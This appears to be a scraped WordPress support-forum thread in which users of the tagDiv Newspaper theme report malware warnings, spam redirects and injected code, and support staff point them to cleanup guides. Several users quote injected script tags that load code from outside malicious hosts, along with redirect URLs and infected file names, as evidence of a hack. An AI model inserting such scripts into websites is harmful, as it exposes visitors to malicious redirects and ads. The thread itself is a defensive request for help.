No search results were found in Documentation!
Hello !
We are not aware of any malware and didn’t have any reports on this. As mentioned above, in order for out products to be displayed on Envato Market they have to be “clean” and we have tested and also the Envato theme tested it.
Please make sure that your wordpress install is clean.
Thank you !
Hi there,
I have installed iThemes security on my site. I got a notification malware found on newspaper plugin. Here’s the detail I received. Could you please look into this and advise?
• Site issue
Infected URL: https://itvibes.com.au/wp-content/themes/Newspaper/js/tagdiv_theme.min.js?ver=8.8.1
Hi iconsbehind,
These http://iconsbehindbrands.com/wp-content/uploads/2020/01/newsletter.jpg are background images, most probable are set in theme panel -> https://i.imgur.com/pDkgIPV.png
Also for a better security we also recommend to use the latest version of theme, we recommend to make an update to Newspaper v10.3.1 for this you can use our guide from here ->https://tagdiv.com/update-newspaper-theme/ we recommend to make the update via FTP and make sure that you install the theme plugins from welcome screen -> https://i.imgur.com/hEbLb6w.png
Please change all your login credentials, also please check the below articles:
http://securepress.org/tutorial-how-to-remove-malware.php
https://wordpress.org/support/topic/malware-removal
https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/
Thank you!
Hello !
We are not aware of any malware and didn’t have any reports on this. As mentioned above, in order for out products to be displayed on Envato Market they have to be “clean” and we have tested and also the Envato theme tested it.
If you have re-uploaded a fresh theme and you still have the malware I would suggest you a new WordPress because that can be the issue. If your wordpress is infected you can try other themes too and you should have malware on them as well. That is why we suggested the method above. Installing a brand new wordpress, re-download the Newspaper Theme and check if there will be any Malwares after that. It is a radical measure but me personally that is what I would do in this case.
I hope this was helpful !
Thank you !
Are you aware of any security issues on previous versions of the Newspaper theme? I looked at the change logs but couldn’t find any notifications about it.
We’ve manually removed all the malware from the files and compared all of them with the latest original ones to make sure it’s all gone. We’ve also deleted all php files that could be linked to the malware.
Do you know what to look for in the database specifically for malware infected websites?
Just for your info: Most malware files could be found within the theme folders.
Hi,
Please make sure that you do not have any plugin that can make this problem, also please change all your login credentials, also please check the below articles:
http://securepress.org/tutorial-how-to-remove-malware.php
https://wordpress.org/support/topic/malware-removal
https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/
I hope this helps.
Thanks.
Hi All
I purchased the theme and installed here http://infomyindia.com. It’s working fine but it’s resetting functions.php file permission to 00 (in both parent and child themes) https://www.screencast.com/t/aytWwjOhiN in 24 hours approx. I see, there is no malware in our server too. How can I fix this issue? Please help me to fix the issue.
Regards
Danish
P.S. I’m an app developer and I had a situation once where one of my apps was incorrectly flagged as malware and suddenly end users of the app were sending frantic emails thinking their phones had been hacked and all sorts, because of all the scary virus warnings they were getting. I contacted the virus companies. In 24 hours they had sorted it out and removed the false positive reports they were carrying saying the app was malware. This is the way to sort such problems out I would have thought. Not to expect end users of your products to navigate past the issue.
Hi,
I think you are looking at this the wrong way. I’m with a major hosting company, which I have been with for many years. There are rules. ImunityAV is saying the files at hand are malware. In a situation like this, you can contact ImunityAV and ask them to remove the warning on your template as it is a false positive? That way, people using your template won’t have issues like I’m having where their hosting company prohibits them using your template. It might not just be hosting companies that refuse to allow people to use this template also. What if end users start getting errors when they visit websites using your template saying “The website is infected with malware” etc. It is a bad look.
Anyway, I’ve deleted the files in question from my server, so you can consider this support request closed. But I do still think you should fix this if you can. As the developer, if your files are wrongly classified as malware by virus scanners, the only way to truly fix that issue is you take it up with the virus scanner companies, so these problems stop.
Thank you
Yes, it is downloaded via Envato. I accept it is likely a false positive. But I’m not allowed by my hosting provider to host malware and the fact is ImunifyAV believes these files are malware. I’m not switching host provider to use your theme. So what can I do? Thanks
Hi,
I installed your Newspaper theme and the “Old Fashioned” template.
My issue is that my server believes it is Malware.
Specifically I’m getting the following warning in the latest edition of Plesk Web Host edition “ImunifyAV has detected malware on some websites.”
It is 4 files that ImunityAV is identifying as malicious as follows:
/wp-content/plugins/td-composer/legacy/Newspaper/includes/demos/dentist/td_media_4.php
/wp-content/plugins/td-composer/legacy/Newspaper/includes/demos/dentist/td_media_5.php
/wp-content/plugins/td-composer/legacy/Newspaper/includes/demos/nature/td_media_2.php
/wp-content/plugins/td-composer/legacy/Newspaper/includes/demos/spa/td_media_2.php
Thank you
Vlad, I use plugins that; Akismet Anti-Spam, AMP, Autoptimize, Really Simple SSL, Smush, Sucuri Security – Auditing, Malware Scanner and Hardening, tagDiv Cloud Library, tagDiv Composer, tagDiv Mobile Theme, tagDiv Social Counter, Yoast SEO, UpdraftPlus – Backup/Restore.
Which conflict?
Hi,
Please check:
https://forum.tagdiv.com/topic/tutorial-good-basic-security-practices/
Also:
http://securepress.org/tutorial-how-to-remove-malware.php
https://wordpress.org/support/topic/malware-removal
https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/
I hope this helps.
I have installed WordPress and the theme, worked on the site, added plugins and suddenly new users got forwarded to spam sites on the first visit. After refreshing the browser our site got shown and this did not happen anymore.
We tried to identify this issue, but couldn’t find it.
We now reinstalled a fresh WP version and the theme again.
We installed the required Newspaper plugins from tagdiv (CloudLibrary, Composer, Social Counter). And we added the Slider Revolution as an additional plugin and the UberMenu.
The site worked for a few days. We haven’t done any changes to it and suddenly the users gets forwarded to spam sites again on their first visit.
Here is an example link it gets redirected to:
http://tandabu.space/?u=h2xkd0x&o=lxkgnum&t=201
I’ve checked the forum, but only see older entries with similar matters.
Thanks for the support!
I have these settings in particular:
define( ‘WP_MEMORY_LIMIT’, ‘512M’ );
php_value memory_limit 768M
php_value max_input_vars 5000
php_value max_execution_time 300
php_value post_max_size 50M
php_value upload_max_filesize 50M
Do you believe that if a Windows computer is infected with some sort of virus/malware, and I speak in particular of the Chrome browser, it can crash a server while editing some pages?
1) There is some PHP or Plugin code that says not to saturate the whole CPU and RAM memory of a server to avoid future blocks without changing hosting?
2) Are you aware if the latest versions if the latest versions of Newspaper and WPBakery Page Builder have improved in memory management?
3) What can you tell me to identify with certainty what all these resources consume?
Thanks!
Hi,
From what I can see these files are related to WordPress not Newspaper theme.
Please make sure that you have the last version of Newspaper theme and WordPress.
How to Scan WordPress Database for Malware ->https://www.fixrunner.com/how-to-scan-wordpress-for-malware/
How to Clean a WordPress Hack -> https://sucuri.net/guides/how-to-clean-hacked-wordpress
You can check a similar topic ->https://forum.tagdiv.com/topic/my-newspaper-hacked-please-help/
Thank you!
Hello,
I got behind in updating my Newspaper themed site and woud appreciate your advice on the best order of updates that might best retain the current site layout and function. Below are the current versions in place. In which order should I update WP, Newspaper, and plugins? Do I need to progressively install intermediate Newspaper version before installing v.9.7.2 ?
If so, where can I download v8.0 and v9.0?
Due to my negligence, and despite running multiple spam/malware/virus blockers (Stop Spammer, Bad Behaviour, Wordfence, Sheild), the site did end up with hacker infected coding. After many scans I believe I’ve removed all mal-code, and deleted and replaced old, with updated plugins.
Do you have any suggestions for best malware scanning tools? I used Wordfence, Quttera, and Sheild.
Thanks
Hi,
If this problem will re-appear please check this topic -> https://forum.tagdiv.com/topic/malware-script/
Thank you!
I have a bunch of malware. How can I remove it myself? I do not have $250 to spend on a company removing it.
[[<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=2285981"></script> <script src="//pushmono.com/ntfc.php?p=2285983" data-cfasync="false" async></script> <!-- Theme: Newspaper by tagDiv.com 2017 Version: 9.2.2 (rara) Deploy mode: deploy uid: 5cd180bc2bbce --> <!-- Custom css from theme panel --> <style type="text/css" media="screen"> /* custom css theme panel */ /*Hide Donate button*/ .tdm-header-menu-btns { visibility: hidden; } /*Add Sold Out tag to product image*/ .sold-out-overlay { background: #8224e3; color: #fff; font-size: 14px; font-weight: 600; padding: 5px 10px; position: absolute; right: 0px; top: 0px; } .woocommerce ul.products li.product .woocommerce-loop-product__title { background: transparent; color: black; } </style> <script type="text/javascript"> var c = document.body.className; c = c.replace(/woocommerce-no-js/, 'woocommerce-js'); document.body.className = c; </
I have it on every page.
Thank you.
Hello,
We try to advertise our website in Google Adwords but they saying there is a malicious code found in your website.
When we use other theme error is not there, but in your theme malicious code was detected.
Kindly please help me solving my issue at the earliest.
Google Adwords email us as:
Why your site is suspended?
Our latest scan from your site – Safe India Packers came back, and still detects Malware/links that are potentially harmful to you and to the site visitors. It seems that your site https://www.jalewa.com redirects users to malicious links OR triggered when clicked. Below is the links that we’ve detected:
https://adsagony.com/display/items.php?26719&3336&970&90&4&0&IN
>>
https://adsagony.com/display/items.php?26720&3336&728&90&4&0&IN
>>
What needs to be done?
Please contact your webmaster to remove these links and check for other potential harmful links. You may assess your site using Google Search Console (previously known as Webmaster Tools). You can click on this link for further details OR refer to stopbadware sites for any guidance.
PLEASE SOLVE MY ISSUE AT THE EARLIEST
I tried to send the theme files over to my developer and got the following message from Outlook:
This message was created automatically by mail delivery software. Your email message was not delivered as is to the intended recipients because malware was detected in one or more attachments included with it. All attachments were deleted.
Hi,
You can connect via FTP and delete the current theme and drop the new one ( like an update via FTP ), deleting the current theme will remove the malware ( and you’ll not loss any settings from theme panel, but settings made in theme files will be remove ).
How to Update the Newspaper Theme for WordPress
-> https://tagdiv.com/update-newspaper-theme/
Thank you!
I replaced the existing functions.php file with the fresh one from theme files and suddenly my whole website has stopped working. https://www.wentdiary.com
I did this to remove injected malware from my website. I also removed these malware files from wp-includes includes/wp-vcd.php, wp-includes/class.wp.php, wp-includes/wp-feed.php, wp-includes/wp-tmp.php
Did i have to overwrite functions.php file to get rid of the malware completely? I can’t access a single page or post of my website after overwriting functions.php not even the login page. What do I do?
Hi,
Please make sure that you have the last version of Newspaper theme and WordPress.
How to Scan WordPress Database for Malware ->https://www.fixrunner.com/how-to-scan-wordpress-for-malware/
How to Clean a WordPress Hack -> https://sucuri.net/guides/how-to-clean-hacked-wordpress
You can check a similar topic ->https://forum.tagdiv.com/topic/my-newspaper-hacked-please-help/
Thank you!
I just ran Site Scan and it detected 3 files that include that java script:
Please check the results: https://sitecheck.sucuri.net/results/https/www.wentdiary.com/top-17-things-to-do-in-oklahoma-city/
This is the full code of malware script that I found:
<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=2466565"></script>
<script src="//joophesh.com/ntfc.php?p=2497056&tco=1" data-cfasync="false" async></script>
